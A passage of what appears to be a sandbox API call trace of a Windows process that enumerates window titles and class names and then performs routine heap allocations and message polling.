lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0168.811] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0168.811] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.811] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.811] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0168.811] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0168.812] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.812] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.812] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.812] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.812] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.812] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.812] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.813] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.813] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.813] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.813] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.813] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.813] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.813] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.814] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.814] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.814] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.814] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.814] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.814] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.814] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.814] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.815] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.815] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.815] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.815] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.815] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.815] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.815] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.816] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.816] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.816] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.816] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.817] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.817] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.817] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.817] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.817] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.817] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.817] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.817] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.817] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.818] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.818] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.818] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.818] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.818] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.818] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.818] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.819] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.819] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.819] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.819] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.819] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.819] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.819] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.819] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.820] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.820] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.820] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.820] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.820] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.820] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.820] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.821] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.821] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.821] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.821] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.821] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.821] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.821] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.822] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.822] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.822] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.822] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.822] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.822] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.822] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.822] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.823] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.823] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.823] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.824] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.824] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.824] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.824] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.824] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.824] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.824] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.825] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.825] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.825] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.825] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.825] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.825] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.825] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.826] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.826] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.826] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.826] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.826] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.826] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.826] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.827] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.827] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.827] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.827] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.827] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.827] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.827] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.827] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.828] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.828] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.828] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.828] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.828] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.828] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.828] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.829] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.829] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.829] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.829] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.829] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.829] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.829] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.829] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.830] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.830] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.830] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.830] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.830] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.830] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.830] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.831] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.831] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.831] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.831] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.832] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.832] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.832] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.832] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.832] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.832] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.832] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.832] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.833] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.833] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.833] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.833] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.833] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.833] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0168.833] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0168.834] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.834] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.834] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.834] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.834] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.834] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0168.834] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba200 | out: hHeap=0xe80000) returned 1 [0168.835] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.835] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.835] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.836] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba200 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0168.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2220 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b28 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0168.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0168.836] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b28 [0168.836] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0168.836] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0168.837] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0168.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0168.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0168.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0168.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.837] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0168.837] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.837] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0168.838] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.838] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0168.838] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.838] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0168.838] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0168.838] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.838] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0168.886] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.886] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0168.886] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0168.886] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0168.886] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0168.886] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0168.886] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.887] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0168.887] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.887] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0168.887] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0168.887] 